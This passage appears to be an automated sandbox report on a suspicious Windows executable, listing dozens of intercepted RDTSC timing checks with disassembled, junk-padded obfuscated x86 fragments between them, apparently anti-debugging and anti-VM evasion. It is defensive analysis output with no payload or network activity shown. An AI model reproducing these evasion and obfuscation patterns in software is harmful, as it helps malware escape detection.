Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5F34 second address: 8B5F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C260 second address: 86C27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C67167h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8260 second address: 8B827C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9336 second address: 8B933B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B827C second address: 8B8306 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movzx edi, si 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F15714A7BA8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d pushad 0x0000002e js 00007F15714A7BACh 0x00000034 sbb edx, 56241CA0h 0x0000003a mov dword ptr [ebp+12472EF2h], eax 0x00000040 popad 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 jng 00007F15714A7BA9h 0x0000004e mov eax, dword ptr [ebp+122D1041h] 0x00000054 call 00007F15714A7BB1h 0x00000059 pop ebx 0x0000005a jnc 00007F15714A7BACh 0x00000060 mov edi, dword ptr [ebp+122D2BEFh] 0x00000066 push FFFFFFFFh 0x00000068 mov bx, dx 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 pop edx 0x00000071 pop eax 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B933B second address: 8B9341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9341 second address: 8B9345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB0F2 second address: 8BB0FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1570C67156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB0FC second address: 8BB100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA1FA second address: 8BA25E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F1570C67158h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D3953h] 0x0000002c movsx ebx, di 0x0000002f push dword ptr fs:[00000000h] 0x00000036 or ebx, dword ptr [ebp+1247C3FAh] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov bx, ax 0x00000046 mov eax, dword ptr [ebp+122D0825h] 0x0000004c or ebx, 2AED7C3Eh 0x00000052 push FFFFFFFFh 0x00000054 mov bl, E5h 0x00000056 push eax 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB284 second address: 8BB295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB295 second address: 8BB299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB299 second address: 8BB29D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB29D second address: 8BB2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB2A3 second address: 8BB2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB2A9 second address: 8BB2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB2AD second address: 8BB34E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push dword ptr fs:[00000000h] 0x00000014 sub bx, 756Eh 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov dword ptr [ebp+122D3932h], ecx 0x00000026 mov eax, dword ptr [ebp+122D05B5h] 0x0000002c sub bx, 8436h 0x00000031 call 00007F15714A7BB9h 0x00000036 jnp 00007F15714A7BAAh 0x0000003c pop ebx 0x0000003d push FFFFFFFFh 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007F15714A7BA8h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 pushad 0x0000005a jns 00007F15714A7BB9h 0x00000060 mov ax, 6A31h 0x00000064 popad 0x00000065 nop 0x00000066 push ebx 0x00000067 jp 00007F15714A7BACh 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB34E second address: 8BB35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE47E second address: 8BE497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15714A7BB5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD5F9 second address: 8BD5FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD68C second address: 8BD690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD690 second address: 8BD696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD696 second address: 8BD69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD69C second address: 8BD6A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1DE0 second address: 8C1DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C65F3 second address: 8C65F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2F6C second address: 8C2F8B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15714A7BACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F15714A7BACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C692E second address: 8C6933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6933 second address: 8C693D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F15714A7BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C98E6 second address: 8C98F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jo 00007F1570C67156h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C98F4 second address: 8C9903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9903 second address: 8C998D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F1570C67158h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov bx, B8B5h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f xor bh, 00000012h 0x00000032 mov edi, dword ptr [ebp+122D37ECh] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F1570C67158h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000015h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 and ebx, dword ptr [ebp+122D1FA0h] 0x0000005f mov eax, dword ptr [ebp+122D1435h] 0x00000065 and bh, FFFFFFDDh 0x00000068 push FFFFFFFFh 0x0000006a add di, 2401h 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 push esi 0x00000074 pop esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C998D second address: 8C9992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9992 second address: 8C9998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9998 second address: 8C999C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA7DD second address: 8CA88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67166h 0x00000009 popad 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F1570C67158h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D3018h], edx 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov dword ptr [ebp+12470CE5h], esi 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 call 00007F1570C67165h 0x00000045 mov dword ptr [ebp+1245B34Ch], edx 0x0000004b pop ebx 0x0000004c mov eax, dword ptr [ebp+122D0431h] 0x00000052 mov di, si 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push edi 0x0000005a call 00007F1570C67158h 0x0000005f pop edi 0x00000060 mov dword ptr [esp+04h], edi 0x00000064 add dword ptr [esp+04h], 00000017h 0x0000006c inc edi 0x0000006d push edi 0x0000006e ret 0x0000006f pop edi 0x00000070 ret 0x00000071 and ebx, dword ptr [ebp+122D3A9Bh] 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push edi 0x0000007b push esi 0x0000007c pop esi 0x0000007d pop edi 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2465 second address: 8D2490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15714A7BB4h 0x00000009 jmp 00007F15714A7BB3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1F18 second address: 8D1F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1F20 second address: 8D1F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D53BC second address: 8D53C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1570C67156h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D53C7 second address: 8D53EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15714A7BAAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D53EB second address: 8D53FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D53FA second address: 8D53FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D54D4 second address: 8D54D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5576 second address: 8D558C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D558C second address: 8D5591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7AFB second address: 8D7B15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F15714A7BAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B15 second address: 8D7B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F1570C67156h 0x0000000c popad 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 jbe 00007F1570C67156h 0x00000016 pop edx 0x00000017 jmp 00007F1570C6715Bh 0x0000001c push edx 0x0000001d jno 00007F1570C67156h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD7B2 second address: 8DD7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD7B8 second address: 8DD7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD7BE second address: 8DD7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD7C2 second address: 8DD7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1570C67168h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jo 00007F1570C6715Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD7EB second address: 8DD811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F15714A7BAEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F15714A7BAEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD811 second address: 8DD815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCBB0 second address: 8DCBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCEF8 second address: 8DCF0D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1570C67160h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD035 second address: 8DD039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD039 second address: 8DD048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F1570C67156h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD1ED second address: 8DD210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F15714A7BB2h 0x0000000c pushad 0x0000000d jng 00007F15714A7BA6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1D80 second address: 8E1D86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E212E second address: 8E2155 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F15714A7BBAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F15714A7BA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E550B second address: 8E5527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867268 second address: 86726C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86726C second address: 867270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867270 second address: 86728E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15714A7BB0h 0x0000000d jo 00007F15714A7BA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9835 second address: 8E9839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9839 second address: 8E983D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E983D second address: 8E9849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E86B7 second address: 8E86C1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15714A7BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B39A8 second address: 8B39B2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1570C6715Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4025 second address: 8B403A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15714A7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4168 second address: 8B4170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4170 second address: 8B4187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F15714A7BA6h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jl 00007F15714A7BAEh 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B4C second address: 8B4B9C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1570C67156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edx, 644C15DDh 0x00000013 jl 00007F1570C67159h 0x00000019 movzx edx, di 0x0000001c lea eax, dword ptr [ebp+12498669h] 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007F1570C67158h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c jc 00007F1570C6715Ch 0x00000042 mov dword ptr [ebp+122D1F9Ah], eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d pop eax 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B9C second address: 8B4BEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2C4Bh], ecx 0x00000013 lea eax, dword ptr [ebp+12498625h] 0x00000019 mov cx, 4D5Bh 0x0000001d nop 0x0000001e push edx 0x0000001f jnl 00007F15714A7BACh 0x00000025 pop edx 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F15714A7BACh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4BEA second address: 894579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jp 00007F1570C67156h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f jmp 00007F1570C67162h 0x00000014 sub dword ptr [ebp+12486AB3h], eax 0x0000001a call dword ptr [ebp+122D180Dh] 0x00000020 pushad 0x00000021 jmp 00007F1570C67162h 0x00000026 push eax 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a popad 0x0000002b pop eax 0x0000002c push ecx 0x0000002d jmp 00007F1570C6715Dh 0x00000032 push edi 0x00000033 pop edi 0x00000034 pop ecx 0x00000035 push ebx 0x00000036 jmp 00007F1570C6715Fh 0x0000003b pushad 0x0000003c popad 0x0000003d pop ebx 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F1570C67169h 0x00000047 jp 00007F1570C67156h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B0B second address: 8E8B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B0F second address: 8E8B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B1B second address: 8E8B31 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15714A7BA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 ja 00007F15714A7BA6h 0x00000016 rdtsc
